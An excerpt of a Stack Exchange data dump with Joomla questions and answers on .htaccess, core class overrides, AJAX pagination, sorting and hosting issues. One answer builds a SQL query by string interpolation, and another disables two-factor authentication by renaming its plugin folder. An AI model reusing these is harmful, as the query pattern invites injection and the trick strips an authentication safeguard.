OwnerUserId="11142" LastEditorUserId="11142" LastEditDate="2017-05-31T03:55:14.463" LastActivityDate="2017-05-31T10:45:49.320" Title="Can't access my homepage" Tags="|joomla-3.5|bugs|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20904" PostTypeId="2" ParentId="18966" CreationDate="2017-05-31T06:31:10.773" Score="0" Body="&lt;p&gt;If it is displaying from a contact page, then you need to set the &lt;code&gt;Linked User&lt;/code&gt; field in the &lt;code&gt;Edit Contact&lt;/code&gt; tab of your contact article &amp;amp; the user that you select should have a contact email. Worked for me.&lt;/p&gt;&#xA;" OwnerUserId="11143" LastActivityDate="2017-05-31T06:31:10.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20906" PostTypeId="2" ParentId="20903" CreationDate="2017-05-31T10:45:49.320" Score="2" Body="&lt;p&gt;I'm pretty sure you should not be able to have a homepage in your trash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try going into your database and going to the &lt;code&gt;menu&lt;/code&gt; table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has a column called &lt;code&gt;home&lt;/code&gt;.  Make sure the deleted one has a value of 0 and the default has a value of 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There &lt;strong&gt;should&lt;/strong&gt; be a 1 in this column next to each language homepage, and also the default homepage.  Language ones will have the language field filled in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to replicate your problem by adding an additional 1 to a deleted menu item, so it looks like you have somehow corrupted your database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably sensible to make a backup before fiddling in your database, though I think the above should work.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-05-31T10:45:49.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20909" PostTypeId="1" CreationDate="2017-05-31T18:10:49.990" Score="0" ViewCount="1371" Body="&lt;p&gt;We have our Joomla setup with a .htaccess file to allow only particular IP addresses to hit our administrator area.  We have several users all over the country who can access it just fine.  I have added a couple of more IP addresses in the file and saved it but for these new IP addresses they are unable to get to the admin login screen.  It still says 403 forbidden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a service or a cache that needs to be cleaned out for this to work properly?&lt;/p&gt;&#xA;" OwnerUserId="11146" LastActivityDate="2022-04-13T22:06:20.573" Title="403 Forbidden error for administrator login page" Tags="|administrator|login|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20910" PostTypeId="2" ParentId="19209" CreationDate="2017-05-31T19:00:54.193" Score="2" Body="&lt;p&gt;You can override the JForm class with your own version in one of two ways:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;System Plugin&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Via a System plugin that triggers onAfterInitialise():&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA;* Registers core library overrides.&#xA;*&#xA;* @return   void&#xA;*/&#xA;public function onAfterInitialise()&#xA;{&#xA;    // Override /libraries/joomla/form/form.php &#xA;    JLoader::register('JForm', JPATH_LIBRARIES . '/core-overrides/joomla/form/form.php');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, by the time onAfterInitialise() is called many core classes have already been initialized and so this method wont work. I don't know if JForm falls into this category or not. You may need to try it and find out. If it does fall into that category your only route is via a core hack...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Core Hack&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, obviously, core hacks are evil. But I've yet to find a working solution when the plugin method doesn't work (when the class has been initialized before onAfterInitialise() is called).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modify /ROOT/index.php and/or /ROOT/administrator/index.php (depending on if you need this modification for back-end or front-end executions). Put this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once JPATH_LIBRARIES . '/core-overrides/coreOverrideAutoloader.php';&#xA;spl_autoload_register('CoreOverrideAutoloader::loader', true, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;directly before:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once JPATH_BASE . '/includes/framework.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(both index.php files have that line)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create /libraries/core-overrides/coreOverrideAutoloader.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;class CoreOverrideAutoloader&#xA;{&#xA;&#xA;    public static $requested = array();&#xA;    public static $filesLoaded = array();&#xA;    public static $filesNotLoaded = array();&#xA;&#xA;    public static function loader($class)&#xA;    {&#xA;        CoreOverrideAutoloader::$requested[] = $class;&#xA;&#xA;        $filename = __DIR__ . '/' . strtolower($class) . '.php';&#xA;        $file=$filename;&#xA;&#xA;        if (!file_exists($file))&#xA;        {&#xA;            CoreOverrideAutoloader::$filesNotLoaded[] = $file;&#xA;            return false;&#xA;        }&#xA;        include $file;&#xA;        CoreOverrideAutoloader::$filesLoaded[] = $file;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then create /libraries/core-overrides/jform.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That'll hold your modified JForm class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('JPATH_PLATFORM') or die;&#xA;&#xA;use Joomla\Registry\Registry;&#xA;use Joomla\Utilities\ArrayHelper;&#xA;&#xA;jimport('joomla.filesystem.path');&#xA;&#xA;class JForm&#xA;{&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Creating any other library overrides is as simple as creating additional jclassname.php files in that same folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;WARNING&lt;/strong&gt;&#xA;Regardless of which solution works for you remember that both create a maintenance issue. With the core hack solution Joomla updates may undo the core hack so you'll need to check your index.php files after every Joomla update (yuck). Secondly, with either solution there is the possibility that the original JForm may be updated with a Joomla update. That wont affect your modified version but you still need to check for what was changed in the core JForm and possibly update your modified version with those same changes. Last thing you want is site errors or security vulnerabilities because your slightly modified version of JForm is multiple version behind the core JForm.&lt;/p&gt;&#xA;" OwnerUserId="9459" LastEditorUserId="9459" LastEditDate="2017-10-04T20:31:14.573" LastActivityDate="2017-10-04T20:31:14.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20911" PostTypeId="1" CreationDate="2017-05-31T22:53:09.057" Score="2" ViewCount="2660" Body="&lt;p&gt;In category blog by default ten items are visible. I would like to replace a standard pagination with &quot;Load more&quot; button, so that clicking on it would show ten more items each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a blog layout override with the button.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a id=&quot;btn-show-more&quot; href=&quot;&amp;lt;?php echo JRoute::_('&amp;amp;start=' . ( ($this-&amp;gt;pagination-&amp;gt;pagesCurrent) * $this-&amp;gt;pagination-&amp;gt;limit) ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo JText::_( 'BUTTON_TEXT' ); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;div container&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;ajax-result&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the next script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(document).ready(function ($) {&#xA;       $(document).on('click', '#btn-show-more', function () {&#xA;           $.get($(this).attr('href'), function (responce) {&#xA;               $('#ajax-result').html(responce)&#xA;           });&#xA;           return false;&#xA;       });&#xA;    })&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As a result by clicking on the button the whole page with head section and etc. is loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to load items only?&lt;/p&gt;&#xA;" OwnerDisplayName="user7102" LastActivityDate="2017-12-03T20:30:17.543" Title="How to show items only using AJAX &quot;Load More&quot; button instead of pagination in category blog" Tags="|ajax|category-blog|pagination|joomla-3.7|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20912" PostTypeId="2" ParentId="20554" CreationDate="2017-06-01T10:34:31.860" Score="1" Body="&lt;p&gt;if you do not want to use com_ajax you can create your own component to handle the ajax calls, another solution is to use a system plugin which would catch your URL and process it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you decide to use your own php file instead of processing it via joomla's main index.php, this could lead to lot's of security issues especially if you distribute your module to various customers/users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the ideal php firewall would detect php executables, whereas in the ideal site there would be just the index.php. thus disallowing executables outside the 2 index.php in joomla is one of the best security measures in joomla world. &lt;/p&gt;&#xA;" OwnerUserId="11148" LastActivityDate="2017-06-01T10:34:31.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20913" PostTypeId="1" AcceptedAnswerId="24785" CreationDate="2017-06-01T10:44:30.177" Score="0" ViewCount="268" Body="&lt;p&gt;I have rename htaccess.txt and changed it to .htaccess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I visit the site everything is fine (I think).  When I turn on rewrite URLs in the back end I get error 500. &lt;a href=&quot;https://docs.joomla.org/How_to_check_if_mod_rewrite_is_enabled_on_your_server&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_check_if_mod_rewrite_is_enabled_on_your_server&lt;/a&gt; and it works fine, so rewriting works on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone else think of the issue?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2019-06-03T14:14:35.580" Title="Error 500 when I turn on URL rewriting in back end" Tags="|url|non-sef-url|" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20914" PostTypeId="1" AcceptedAnswerId="20924" CreationDate="2017-06-01T10:45:40.063" Score="1" ViewCount="4839" Body="&lt;p&gt;If I use Admin Tools to create a .htaccess file the site downloads the index.php file instead of serving it.  What setting causes this, why does it occur, can it be fixed, and what are the implications of fixing it?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="5630" LastEditDate="2017-08-02T10:32:37.483" LastActivityDate="2020-04-25T00:09:51.580" Title="My site downloads index.php instead of serving it if I use .htaccess" Tags="|.htaccess-configuration|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20915" PostTypeId="2" ParentId="20914" CreationDate="2017-06-01T11:17:42.130" Score="1" Body="&lt;p&gt;An .htaccess file should be compatible with the server in order to work and to not create issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Admin Tools .htaccess maker mentions that there is no guarantee that the produced .htaccess will work at your server. There are so many possible server configurations and there is not necessarily a particular setting that may cause specific side-effects and certainly with the information given in your question it's hard to tell - as we don't know both what your .htaccess looks like and also how your server is configured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either build step by step your .htaccess to see what's causing your issues - or collaborate with your hosting provider on the issue.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-06-01T11:17:42.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20916" PostTypeId="2" ParentId="20898" CreationDate="2017-06-01T14:58:33.863" Score="0" Body="&lt;p&gt;Simple mistake. It should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get a database connection.&#xA;$db   = JFactory::getDbo();&#xA;$query   = $db-&amp;gt;getQuery(true);&#xA;&#xA;// Get the current logged in user.&#xA;$user = JFactory::getUser();&#xA;echo $user-&amp;gt;id;&#xA;&#xA;$db-&amp;gt;setQuery(&quot;SELECT SUM(`confirmed`) AS suma FROM `josez_rsform_submissions` WHERE `UserId`='$user-&amp;gt;id';&quot;);&#xA;$_POST['form']['counter'] = $db-&amp;gt;loadResult()+1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11138" LastActivityDate="2017-06-01T14:58:33.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20918" PostTypeId="2" ParentId="20900" CreationDate="2017-06-01T16:19:09.320" Score="0" Body="&lt;p&gt;It seems that you have a simple error. You have an extra quote or double qoute in your code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;function(){&quot;var x=jQuery('#id') &quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In PHP you can only use var keyword in class to define variable! so, it seems that you have String break some were in js code within php file OR you did not close php tag like &lt;code&gt;?&amp;gt;&lt;/code&gt; before js code&lt;/p&gt;&#xA;" OwnerUserId="11137" LastEditorUserId="11137" LastEditDate="2017-06-01T18:10:40.333" LastActivityDate="2017-06-01T18:10:40.333" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20919" PostTypeId="2" ParentId="17778" CreationDate="2017-06-01T16:58:27.497" Score="0" Body="&lt;p&gt;I know this is a fairly old question but it comes up in Google when searching for &quot;Joomla default sort&quot; and so I'd like to add a more definitive answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default ordering for most of the Joomla backend manager pages (Menu manager, User manager, Article manager, Featured Article manager, Category manager, etc) are all part of Joomla core files that can't be modified via Joomla's template override functionality. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ie, if you want to be able to modify the default ordering without losing the ability to change the sort order (the issue with itoctopus' answer) then you'll be forced to make core edits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each manager page the core edits are very similar. You need to modify two files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/administrator/components/&amp;lt;component&amp;gt;/models/forms/filter_&amp;lt;view&amp;gt;.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/administrator/components/&amp;lt;component&amp;gt;/models/&amp;lt;view&amp;gt;.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'll use the User manager as an example (since that's what this question is asking about specifically):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/administrator/components/com_users/models/forms/filter_users.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and find the &quot;fullordering&quot; field. Modify the &quot;default&quot; attribute from &quot;a.name ASC&quot; to &quot;a.registerDate DESC&quot; (or whatever you want the new default to be). This change will result in the drop-down select menu on the page to show that new value as the default when the page loads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then open&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/administrator/components/com_users/models/users.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and find the populateState() method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function populateState($ordering = 'a.name', $direction = 'asc')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change those default parameter values to what you want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function populateState($ordering = 'a.registerDate', $direction = 'desc')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This change is what results in the default ordering being different.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In the same way, if you wanted the &quot;Featured Articles&quot; manager to order by &quot;Start Publishing&quot; date by default you'd follow the same steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/administrator/components/com_content/models/forms/filter_featured.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and change the &quot;default&quot; attribute of the &quot;fullordering&quot; field to &quot;a.publish_up DESC&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then open &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/administrator/components/com_content/models/featured.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and change the parameters of the populateState() method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function populateState($ordering = 'a.publish_up', $direction = 'desc')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As always, since this is core edit any Joomla updates may undo these changes and so you'll have to check for this and re-apply the changes if needed.&lt;/p&gt;&#xA;" OwnerUserId="9459" LastActivityDate="2017-06-01T16:58:27.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20921" PostTypeId="2" ParentId="20911" CreationDate="2017-06-01T17:32:17.553" Score="1" Body="&lt;p&gt;In your template folder (/joomla_root/templates/&amp;lt; template_name &gt;/) create a file with a unique name, such as articlelist.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that file add this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then change your ajax code to modify the URL before it's requested to include &quot;tmpl=articlelist&quot;. Maybe something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(document).ready(function ($) {&#xA;   $(document).on('click', '#btn-show-more', function () {&#xA;       var url = $(this).attr('href');&#xA;       url = ( url.indexOf('?') &amp;gt;=0 ? '&amp;amp;' : '?' ) + 'tmpl=articlelist';           &#xA;       $.get(url, function (responce) {&#xA;           $('#ajax-result').html(responce)&#xA;       });&#xA;       return false;&#xA;   });&#xA;})&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Joomla will use articlelist.php instead of your main index.php file to load the component, which will result in only the component's code being loaded (since that's the only thing in articlelist.php).&lt;/p&gt;&#xA;" OwnerUserId="9459" LastActivityDate="2017-06-01T17:32:17.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20922" PostTypeId="2" ParentId="20824" CreationDate="2017-06-01T18:21:22.243" Score="1" Body="&lt;p&gt;My original goal was creating a alias on frontend without any link using Jroute or menu id...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But after a lot of search it seems that Joomla cannot do that or if it can it may need some serious change on Router. So instead of messing with Joomla Router (I actually tried) I created a script on my plugin to create a menutype and to save on database a new menu item on that menutype for every page that I may want, that was the easiest way to have a working sef url for every item on listed on my JSON.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone may want some hint about a router solution you may check this link: &lt;a href=&quot;https://docs.joomla.org/Creating_a_System_Plugin_to_augment_JRouter&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_System_Plugin_to_augment_JRouter&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is for j25 and I believe the router itself already changed a lot after this version, but it was the closest thing that I found that suggest how to revamp Joomla router, you may have some ideas about how to proceed.&lt;/p&gt;&#xA;" OwnerUserId="9915" LastActivityDate="2017-06-01T18:21:22.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20923" PostTypeId="1" CreationDate="2017-06-01T21:38:57.833" Score="0" ViewCount="145" Body="&lt;p&gt;Just updated a site from 2.5 to 3.7.2 and now I can't access my smart search filter settings. When I go into one of them I'm supposed to see selections and checkboxes. See link.&#xA;&lt;a href=&quot;https://docs.joomla.org/Help37:Components_Finder_Manage_Search_Filters_Edit&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Help37:Components_Finder_Manage_Search_Filters_Edit&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead what I see is two toggle buttons that don't work. (screenshot 1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot 1:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/hraDq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hraDq.png&quot; alt=&quot;screenshot1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even weirder, here and here only, clicking the close button doesn't work. Instead I get a console error (screenshot2). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot 2:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Q4y4P.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q4y4P.png&quot; alt=&quot;screenshot2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done all the standard troubleshooting, reininstall, going and getting the 3.7.2 files from a fresh download, updating all the things, changing my php version, looking for errors with maximum reporting, turning plugins on and off. I cannot figure out what's causing this. I have a secondary problem where my index isn't indexing any of the right values (that still exist in the database table as per previous version), but I can't really address that until I can actually see my filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find anything about this, other than one thread &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/15092&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; but I double checked, my files have the up-to-date code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas anyone?&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2017-06-01T21:38:57.833" Title="Joomla 3.7.2 Smart Search Filters Uneditable" Tags="|joomla-3.x|smartsearch|joomla-3.7|filter|" AnswerCount="0" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20924" PostTypeId="2" ParentId="20914" CreationDate="2017-06-02T08:08:27.587" Score="2" Body="&lt;p&gt;If your server downloads index.php instead of executing it, look in your &lt;code&gt;.htaccess&lt;/code&gt; file for directive similar to  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AddHandler x-mapp-php5.5  .php  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and comment it out (put &lt;code&gt;#&lt;/code&gt; at the begining of line).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should resolve your problem.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2017-06-02T08:08:27.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20925" PostTypeId="2" ParentId="20913" CreationDate="2017-06-02T09:11:56.913" Score="0" Body="&lt;p&gt;Have you definitely got MOD_REWRITE enabled on the server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2017-06-02T09:11:56.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20926" PostTypeId="1" CreationDate="2017-06-02T09:26:08.370" Score="1" ViewCount="370" Body="&lt;p&gt;I'm having an absolute nightmare with a clients site and Hostgator. Akeeba backup will not run as well as sporadic the server did not send any data -&#xA; ERR_EMPTY_RESPONSE (chrome, firefox, safari) and after discussing with the Akeeba support team the have indicated the problem seems to be with the PHP configuration on the server. Below is the response:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;it seems there's something getting in the way while we're trying to test the maximum execution time.&#xA;  I just connected to your site and ran some tests.&#xA;  I think there's something going on with your server: even if I simply try to save Joomla Global Configuration I get the &quot;Didn't send any respond&quot; page. This shouldn't happen on Joomla core pages, I think you should get in touch with your host and ask him to review your site.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I too have verified this by manually transferring the entire site to my own server environment and the problems do not appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem now is trying to get hostgator to understand, they are infuriating and do not seem to read the supplied information. Can anyone provide any advise on how I can explain to them what the issue is so I can try and get this resolved? I have wasted at least 3 hours on them with this and I am no closer at solving it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;Donna&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2017-07-02T18:13:47.630" Title="Hostgator nightmare with ERR_EMPTY_RESPONSE" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20928" PostTypeId="1" AcceptedAnswerId="20930" CreationDate="2017-06-02T11:26:54.877" Score="0" ViewCount="96" Body="&lt;p&gt;I'm looking to somehow add a &quot;token&quot; on login and temperately store it in the database (same as table *_users) until next login (important). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a game of sorts that uses a selected user and password from a table in the database. The game only reads usernames and passwords containing 0-9 and a-z (both cases), since bcrypt is used to generate a password it contains &quot;invalid characters&quot; for the game. It also displays the user and password in the url. So I'm hoping to add an extra layer of security (two birds, one stone maybe?) to read the &quot;token&quot; as the &quot;password&quot;. &lt;br&gt;Since the site revolves around this game, its holding me back from creating a site using Joomla or anything CMS that uses bcrypt. Since bcrypt is secure I would still like to use that encryption for the passwords, rather than md5 or sha. I would like to use Joomla as its the CMS I'm most familiar with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if there is a plugin that could achieve what I'm trying to do, however I'm willing to edit the core files if someone could instruct me.&lt;/p&gt;&#xA;" OwnerUserId="11152" LastEditorUserId="12352" LastEditDate="2019-11-16T23:13:38.533" LastActivityDate="2019-11-16T23:13:38.533" Title="Random token in DB on each login" Tags="|joomla-3.x|php|mysql|security-token|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20929" PostTypeId="2" ParentId="20926" CreationDate="2017-06-02T13:00:50.977" Score="1" Body="&lt;p&gt;&lt;strong&gt;PHP Settings&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you suspect a PHP setting issue, there are a few settings you can check yourself without waiting on your support request to be escalated to someone who knows what they are doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming the hosting account is using a recent version of cPanel (for example), you can check the PHP Settings in &quot;Select PHP Version&quot; or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check which extensions are enabled and compare this to a different hosting account with a similar website that works well (if you have access to one). Also compare the PHP Options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are no obvious issues, try temporarily changing PHP to a different version. For example, if PHP is set to 7.0, change it to 5.6 or vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;.htaccess&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try temporarily replacing the current .htaccess file with the contents of the supplied Joomla htaccess.txt file to see if this is causing the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hosting Move&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If no solution can easily be found, consider moving to anther hosting company. This may be the most efficient solution as you have already proved the website works fine elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple website can be moved in less than an hour using Akeeba Backup or similar and you have already spent about three hours with no solution yet.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-06-02T13:00:50.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20930" PostTypeId="2" ParentId="20928" CreationDate="2017-06-02T13:17:19.227" Score="0" Body="&lt;p&gt;You can achieve this with a User plugin that triggers that triggers onUserLogin or onUserAfterLogin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/User&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Plugin/Events/User&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest creating a new table (such as #__users_game) as opposed to modifying #__users. You can have the table be created when the plugin is installed. It would only need two columns, &lt;code&gt;id_users&lt;/code&gt; (foreign key to the #__users &lt;code&gt;id&lt;/code&gt; row) and &lt;code&gt;token&lt;/code&gt; (your token).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To achieve the &quot;until next login&quot; feature you can do it a number of ways. One would be to only have a row in that table for active players so if a user logs in and a row for them already exists then you delete the row and the game is over for them.&lt;/p&gt;&#xA;" OwnerUserId="9459" LastEditorUserId="9459" LastEditDate="2017-06-02T13:22:49.970" LastActivityDate="2017-06-02T13:22:49.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20935" PostTypeId="2" ParentId="14534" CreationDate="2017-06-05T07:08:03.947" Score="-1" Body="&lt;p&gt;just rename 'twofactorauth' folder from cpanel &gt;. File manager &gt;&gt; plugins&lt;/p&gt;&#xA;" OwnerUserId="11162" LastActivityDate="2017-06-05T07:08:03.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
